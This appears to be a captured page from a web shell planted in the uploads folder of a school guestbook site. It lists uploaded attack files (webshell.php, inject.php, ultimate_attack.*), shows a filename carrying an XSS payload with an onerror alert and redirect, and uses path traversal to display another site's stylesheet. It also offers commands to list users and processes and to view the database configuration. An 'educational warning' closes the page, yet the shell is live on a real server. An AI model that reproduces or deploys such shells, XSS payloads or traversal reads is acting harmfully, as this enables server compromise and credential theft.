🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../588687.klas4s23.mid-ica.nl/public_html/Technowire1/style.css

.container {
  display: grid;
  grid-template-columns: 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr;
  grid-template-rows: 1fr 1fr 1fr 1fr 1fr;
  grid-auto-columns: 300px;
  grid-auto-rows: 1fr;
  gap: 0px 0px;
  grid-auto-flow: row;
}

.heder {
  grid-area: 1 / 1 / 2 / 13;
}

.logo {
  grid-area: 1 / 1 / 2 / 5;
}

.nav {
  grid-area: 2 / 11 / 3 / 13;
}

.content {
  grid-area: 4 / 2 / 6 / 12;
}


html,
body,
.container {
  height: 99%;
  margin: 0;
}

body {
  background-image: url(imgT/lnl.jpg);
  background-repeat: no-repeat;
  background-attachment: fixed;
  background-size: cover;
  overflow-x: hidden;
}

.logo {
  position: absolute;
  top: -150px;
  left: -200px;
  width: 800px;


}


.heder {
  background-color: #274560;
  height: 100px;
  width: 110%;
}

@media screen and (max-width: 600px) {


  .container {
    display: grid;
    grid-template-columns: 1fr 1fr 1fr 1.3fr 1.4fr 1.6fr 0.9fr 1fr 1fr 1fr 0.8fr 1.2fr;
    grid-template-rows: 0.5fr 1.5fr 1fr 1fr 1fr;
    grid-auto-columns: 300px;
    grid-auto-rows: 1fr;
    overflow-x: hidden;
    gap: 0px 0px;
    grid-auto-flow: row;
    grid-template-areas:
      "heder heder heder heder heder heder heder heder heder heder heder heder"
      ". . . . nav nav nav nav nav nav nav nav"
      "content content content content content content content content content content content content"
      "content content content content content content content content content content content content"
      "content content content content content content content content content content content content";
  }

  .heder {
    grid-area: heder;
  }

  .nav {
    grid-area: nav;
  }

  .content {
    grid-area: content;
    overflow: hidden;
  }



  html,
  body,
  .container {
    height: 100%;
    margin: 0;

  }



}


a {
  text-decoration: none;
  color: #f3eded;

  transition: color 0.3s ease;
}

::-webkit-scrollbar {
  width: 12px;
  /* Set the width of the scrollbar */
}

::-webkit-scrollbar-track {
  background: #232835;
}

::-webkit-scrollbar-thumb {
  background: #374451;
  border-radius: 6px;
}


ul {
  position: relative;
  transform: skewY(-15deg);
}

li {
  position: relative;
  list-style: none;
  width: 200px;
  padding: 15px;
  background: #215370;
  z-index: calc(1 * var(--i));
  transition: 0.5s;
  top: 25px;
  left: 36px;

}

li:hover {
  background: #d2cdc3;
  transform: translateX(-50px);
}

li::before {
  font-family: "fontAwesome";
  color: #88857f;
  display: flex;
  justify-content: center;
  content: attr(data-icon);
  position: absolute;
  top: 0px;
  left: -40px;
  width: 40px;
  height: 100%;
  background: #215370;
  transform-origin: right;
  transform: skewY(45deg);
  transition: 0.5s;

}

li:hover::before {
  background: #2c2c2c;
}

li::after {
  content: "";
  position: absolute;
  top: -40px;
  left: 0px;
  width: 100%;
  height: 40px;
  background: #215370;
  transform-origin: bottom;
  transform: skewX(45deg);
  transition: 0.5s;
}




* {
  box-sizing: border-box;
}

body {

  font-family: Helvetica, sans-serif;
}

.h2 {
  color: white;
  position: absolute;
  top: 220px;
  left: 500px;
  font-family: 'Franklin Gothic Medium', 'Arial Narrow', Arial, sans-serif;
}

.text {
  position: absolute;
  top: 280px;
  left: 350px;
  color: white;

}

.my-button {
  display: flex;
  margin-left: 230px;
  margin-top: -290px;

}

.my-button a {
  display: flex;
  margin: 40px;
  padding: 15px 25px;
  background-color: #3498db;
  color: white;
  border-radius: 5px;
  box-shadow: 0px 1px 15px rgba(255, 255, 255, 0.559);
  transition: background-color 0.3s, transform 0.3s, box-shadow 0.3s;


}




@media screen and (max-width: 1030px) {
.nav{
  margin-left: -100px;
}
.text{
  margin-left: -50px;
  margin-top: 130px;
}
.h2{
  margin-top: 100px;
}
body{
  overflow-x: hidden;
}
}
@media screen and (max-width: 775px) {
  .h2 {
    left: 180px;
    margin-top: 100px;
  }

  .text {
    left: 76px;
    margin-top: 100px;
    font-size: 14px;
  }

.my-button{
  display: none;
}
  .nav {
    margin-left: -148px;

  }

  .heder {
    width: auto;
  }

}

@media screen and (max-width: 600px) {



  .my-button2 {
    position: relative;
    top: -132px;
    left: 95px;


  }

  .my-button1 {
    position: relative;
    top: -180px;
    left: 95px;

  }

  .my-button3 {
    position: relative;
    top: -90px;
    left: 95px;


  }

  .logo {
    width: 550px;
    top: -90px;
    left: -180px;
  }

  .text {
    position: absolute;
    left: 30px;
    top: 460px;

  }

  .h2 {
    position: absolute;
    left: 100px;
    top: 410px;

  }

}
@media screen and (max-width: 430px) {
  .nav {
    position: absolute;
    top: 110px;
    left: 297px;

  }
  .text {
    margin-top: 10px;
    margin-left: 5px;
    

  }

  .h2 {
   margin-top: 10px;

  }

}

@media screen and (max-width: 415px) {
  .my-button2 {
    position: relative;
    top: -126px;
    left: 90px;



  }


}

@media screen and (max-width: 395px) {

  .my-button2 {
    position: relative;
    top: 110px;
    left: 90px;



  }

  .my-button1 {
    position: relative;
    top: 70px;
    left: 90px;

  }

  .my-button3 {
    position: relative;
    top: 147px;
    left: 90px;
  }

}

@media screen and (max-width: 380px) {
  

  .nav {
    position: absolute;
    top: 110px;
    left: 247px;

  }


}

@media screen and (max-width: 325px) {
  .logo {
    position: relative;
    width: 550px;
    top: -86px;
    left: -180px;
  }

  .nav {
    position: absolute;
    top: 110px;
    left: 196px;

  }

  .h2 {
    margin-left: -53px;
    
    font-size: 17px;
    font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;


  }

 



}


/* Ict hall of fame */

.containerIctHF {
  padding: 10px 40px;
  position: relative;
  background-color: inherit;
  width: 49%;


}

.containerIctHF::after {
  content: '';
  position: absolute;
  width: 25px;
  height: 25px;
  right: 260px;
  background-color: rgb(255, 255, 255);
  border: 4px solid #000000;
  top: -387px;
  border-radius: 50%;
  z-index: 1;
}

.containerIctHF.right::after {
  left: -220px;
}

h1.titleICT {
  background-color: #0b2130;
  color: #fff;
  transform: skew(-10deg);
  width: 280px;
  position: absolute;
  top: 180px;
  left: 500px;
  box-shadow: 0px 1px 15px rgba(255, 255, 255, 0.559);
  margin-top: -10px;

}




.left {
  left: 12%;
}

.right {
  left: 55%;
}

.left::before {
  content: " ";
  height: 0;
  position: absolute;
  top: -380px;
  width: 0;
  left: 272px;
  z-index: 1;
  right: 30px;
  border: medium solid rgb(255, 255, 255);
  border-width: 10px 0 10px 10px;
  border-color: transparent transparent transparent rgb(255, 255, 255);
}

.right::before {
  content: " ";
  height: 0;
  position: absolute;
  width: 0;
  z-index: 1;
  left: -169px;
  top: -378px;
  border: medium solid rgb(255, 255, 255);
  border-width: 10px 10px 10px 0;
  border-color: transparent rgb(255, 255, 255) transparent transparent;
}

.right::after {
  left: -16px;
}

.contentt {
  padding: 10px 20px;
  background-color: #274560;
  border-radius: 6px;
  position: relative;
  top: -430px;
  width: 85%;
  left: -200px;
  color: white;
  font-family: 'Courier New', Courier, monospace;
}

.timeline {
  position: relative;
  max-width: 1200px;
  margin: 0 auto;
}

.timeline::after {
  content: '';
  position: absolute;
  width: 6px;
  background-color: white;
  top: -439px;
  bottom: 0;
  left: 455px;
  margin-left: -3px;
  height: 5600px;
}




@media screen and (max-width: 1393px) {

  .timeline::after {
    left: 11px;
    top: -400px;
    height: 108.20%;
  }

  .containerIctHF {
    width: 100%;
    padding-left: 70px;
    padding-right: 25px;
    left: 210px;
    top: 580px;
  }

  .content {
    position: relative;
    top: -440px;
  }

  .containerIctHF::before {
    left: -140px;
    border: medium solid white;
    border-width: 10px 10px 10px 0;
    border-color: transparent white transparent transparent;
  }

  .left::after,
  .right::after {
    left: -214px;
  }



}

@media screen and (max-width: 1393px) {

  .timeline::after {
    left: 11px;
    top: -400px;
    height: 108.20%;
  }

  .containerIctHF {
    width: 100%;
    padding-left: 70px;
    padding-right: 25px;
    left: 210px;
    top: 580px;
  }

  .content {
    position: relative;
    top: -230px;
  }

  h1.titleICT {
    margin-left: -300px;
    margin-top: 200px;
  }

  .containerIctHF::before {
    left: -140px;
    border: medium solid white;
    border-width: 10px 10px 10px 0;
    border-color: transparent white transparent transparent;
  }

  .left::after,
  .right::after {
    left: -214px;
  }


}
@media screen and (max-width: 430px){
  h1.titleICT {
   margin-left: -450px;
  }
}


.nocenter {
  text-align: left;
  padding-left: 20px;
}

.link {
  color: blue;
}

p {
  width: 100%;

}

.contentr {
  padding: 10px 20px;
  background-color: #274560;
  border-radius: 6px;
  position: absolute;
  top: -600px;
  right: 316px;
  width: 450px;
  color: white;
  font-family: 'Courier New', Courier, monospace;
}

.contentrr {
  padding: 10px 20px;
  background-color: #274560;
  border-radius: 6px;
  position: absolute;
  top: -600px;
  right: 316px;
  width: 450px;
  color: white;
  font-family: 'Courier New', Courier, monospace;
}


@font-face {
  font-family: agency fb;
  font-style: normal;
  font-weight: 400;
  src: local('Agency FB'), local('AgencyFB-Regular'), url(../fonts/agency-fb.woff) format('woff'), url(../fonts/agency-fb.ttf) format('truetype')
}

@font-face {
  font-family: agency fb bold;
  font-style: normal;
  font-weight: 700;
  src: local('Agency FB Bold'), local('AgencyFB-Bold'), url(../fonts/agency-fb-bold.woff) format('woff'), url(../fonts/agency-fb-bold.ttf) format('truetype')
}

@media screen and (max-width: 775px) {


  .timeline::after {
    left: 11px;
    top: 150px;
    height: 108.20%;
  }


  .containerIctHF {
    width: 100%;
    padding-left: 70px;
    padding-right: 25px;
    left: 210px;
    top: 600px;
  }

  .content {
    position: relative;
    top: -300px;

  }

  .contentrr {
    width: 85%;
    position: relative;
    left: -200px;
    top: -560px;
  }


  .containerIctHF::before {
    left: -140px;
    border: medium solid white;
    border-width: 10px 10px 10px 0;
    border-color: transparent white transparent transparent;
  }

  .left::after {
    left: -214px;
  }

  .right::after {
    left: -20px;
  }
}

@media screen and (max-width: 600px) {
  .logo {
    width: 550px;
    top: -90px;
    left: -180px;
  }

  .contentr {
    left: -128px;
    width: 250px;
    top: -550px;
  }

}

@media screen and (max-width: 325px) {
  .logo {
    position: relative;
    width: 550px;
    top: -86px;
    left: -180px;
  }

  .content {
    position: relative;
    top: -300px;
  }
  h1.titleICT{
    margin-left: -470px;
  }

}











/* Program Languages */

.timelineProLang {
  position: relative;
  max-width: 1200px;
  margin: 0 auto;
  top: -400px;
}

.timelineProLang::after {
  content: '';
  position: absolute;
  width: 6px;
  background-color: white;
  top: 10px;
  bottom: 0;
  left: 250px;
  margin-left: -3px;
  height: 3790px;
}

.titlePRO {
  background-color: #0b2130;
  color: #fff;
  width: 302px;
  position: absolute;
  top: 180px;
  left: 500px;
  transform: skew(-10deg);
  box-shadow: 0px 1px 15px rgba(255, 255, 255, 0.559);
  margin-top: -10px;

}

.right-containerr-arrow {
  height: 0;
  width: 0;
  position: absolute;
  top: 50px;
  z-index: 1;
  border-top: 15px solid transparent;
  border-bottom: 15px solid transparent;
  border-right: 15px solid white;
  left: -15px;
}






@media screen and (max-width: 1393px) {

  .timelineProLang::after {
    left: 11px;
    top: -2px;
    height: 108.20%;
  }


}

* {
  box-sizing: border-box;
}

body {

  font-family: Helvetica, sans-serif;
}

.timelineProLang {
  display: flex;
  flex-direction: column;
  align-items: center;
  position: relative;
  left: -80px;
}

.timelinee-item {
  display: flex;
  align-items: center;
  max-width: 600px;
  margin: 20px;
}

.img1 {
  max-width: 100px;
  max-height: 100px;
  position: relative;
  top: -65px;
  left: -200px;
}

.contentt1 {
  position: relative;
  padding: 20px;
  background-color: #274560;
  border-radius: 10px;
  left: -110px;
  color: white;
  font-family: 'Courier New', Courier, monospace;
  position: 0;
  top: -3px;
}


h3 {
  font-size: 1.5em;
  margin: 0;
}

p {
  margin: 0;
}

@media only screen and (max-width: 775px) {

  .timelineProLang {
    position: relative;
    left: -15px;
    top: 300px;
  }

  .bn {
    width: 550px;
    top: -90px;
    left: -180px;
  }

  .contentt1 {
    position: relative;
    top: -5px;
    left: -25px;
  }

  .img1 {
    position: relative;
    left: -70px;
    top: -60px;
    width: 50px;

  }

  .timelineProLang {
    position: absolute;
    left: 60px;
    height: 510%;
    top: 400px;
  }

  .titlePRO {
    margin-left: -320px;
    margin-top: 150px;
  }



}

@media only screen and (max-width: 430px) {
  .img1 {
    position: relative;
    left: -70px;
    top: -175px;
    width: 50px;

  }
  .titlePRO {
    margin-left: -435px;
    margin-top: 190px;
  }

  .timelineProLang {
    position: absolute;
    left: 60px;
    height: 940%;
    top: 450px;
  }
}

@media only screen and (max-width: 395px) {

  .img1 {
    position: relative;
    left: -70px;
    top: -210px;
    width: 50px;

  }

  .timelineProLang {
    position: absolute;
    left: 60px;
    height: 780%;
    top: 450px;
  }
}

@media only screen and (max-width: 390px) {
  .timelineProLang {
    position: absolute;
    left: 60px;
    height: 830%;
    top: 450px;
  }

}

@media only screen and (max-width: 380px) {

  .img1 {
    position: relative;
    left: -70px;
    top: -225px;
    width: 50px;

  }

  .timelineProLang {
    position: absolute;
    left: 60px;
    height: 1150%;
    top: 450px;
  }
}

@media only screen and (max-width: 325px) {
  .timelineProLang {
    position: absolute;
    left: 60px;
    height: 1260%;
    top: 450px;
  }
  .titlePRO {
    margin-left: -490px;
    margin-top: 210px;
  }
  .img1 {
    position: relative;
    left: -70px;
    top: -260px;
    width: 50px;

  }
}

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!